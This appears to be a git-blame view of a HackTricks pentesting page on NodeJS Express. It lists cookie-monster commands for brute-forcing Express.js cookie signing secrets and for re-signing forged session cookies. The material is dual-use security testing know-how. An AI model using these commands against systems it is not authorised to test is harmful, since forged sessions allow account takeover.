hacktricks/network-services-pentesting/pentesting-web/nodejs-express.md

38 lines
860 B
Markdown
Raw Permalink Normal View History

2022-05-20 11:11:49 +00:00
# NodeJS Express
## Cookie Signature
The tool [https://github.com/DigitalInterruption/cookie-monster](https://github.com/DigitalInterruption/cookie-monster) is a utility for automating the testing and re-signing of Express.js cookie secrets.
### Single cookie with a specific name
2024-02-08 21:36:15 +00:00
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -n session
2022-05-20 11:11:49 +00:00
```
### Custom wordlist
2024-02-08 21:36:15 +00:00
```bash
cookie-monster -c eyJmb28iOiJiYXIifQ== -s LVMVxSNPdU_G8S3mkjlShUD78s4 -w custom.lst
2022-05-20 11:11:49 +00:00
```
### Test multiple cookies using batch mode
2024-02-08 21:36:15 +00:00
```bash
cookie-monster -b -f cookies.json
2022-05-20 11:11:49 +00:00
```
### Test multiple cookies using batch mode with a custom wordlist
2024-02-08 21:36:15 +00:00
```bash
cookie-monster -b -f cookies.json -w custom.lst
2022-05-20 11:11:49 +00:00
```
### Encode and sign a new cookie
2024-02-08 21:36:15 +00:00
iI you know the secret you can sign a the cookie.
2022-05-20 11:11:49 +00:00
2024-02-08 21:36:15 +00:00
```bash
cookie-monster -e -f new_cookie.json -k secret
2022-05-20 11:11:49 +00:00
```